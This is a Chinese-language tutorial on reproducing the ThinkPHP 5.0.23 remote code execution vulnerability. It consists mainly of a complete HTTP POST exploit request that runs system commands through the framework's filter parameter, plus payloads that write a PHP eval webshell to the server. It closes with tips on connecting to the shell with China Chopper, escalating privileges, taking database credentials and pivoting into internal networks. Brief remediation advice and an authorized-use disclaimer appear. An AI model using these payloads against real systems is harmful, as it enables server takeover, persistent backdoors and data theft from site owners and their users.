ThinkPHP 5.0.23 远程代码执行漏洞复现
字数 594 2025-08-15 21:32:35
ThinkPHP 5.0.23 远程代码执行漏洞复现教程
漏洞概述
ThinkPHP 5.0.23版本存在一个远程代码执行漏洞,攻击者可以通过构造特定的HTTP请求,利用框架的输入过滤机制缺陷执行任意系统命令。
环境搭建
使用Docker搭建漏洞环境
- 确保已安装Docker环境
- 拉取并运行漏洞环境容器
- 访问搭建好的环境页面确认服务正常运行
漏洞利用方法
1. 执行系统命令POC
POST /index.php?s=captcha HTTP/1.1
Host: 目标IP:端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=要执行的命令
参数说明:
_method=__construct: 调用控制器构造方法filter[]=system: 设置过滤函数为systemmethod=get: 设置请求方法server[REQUEST_METHOD]=命令: 要执行的系统命令
2. 写入Webshell
修改请求中的命令部分,使用echo或file_put_contents写入一句话木马:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['cmd']);?>" > shell.php
或使用PHP代码:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>')
防御措施
- 升级ThinkPHP到最新版本
- 对用户输入进行严格过滤
- 禁用危险函数如system、exec等
- 部署WAF防护
注意事项
- 此漏洞利用仅用于合法授权测试
- 实际测试时需替换目标IP和端口
- 命令执行结果会直接返回在响应中
- 写入webshell后可通过中国菜刀等工具连接
扩展利用
- 可结合其他漏洞进行提权
- 可尝试获取数据库连接信息
- 可进行内网渗透测试
请确保在合法授权范围内进行测试,遵守网络安全法律法规。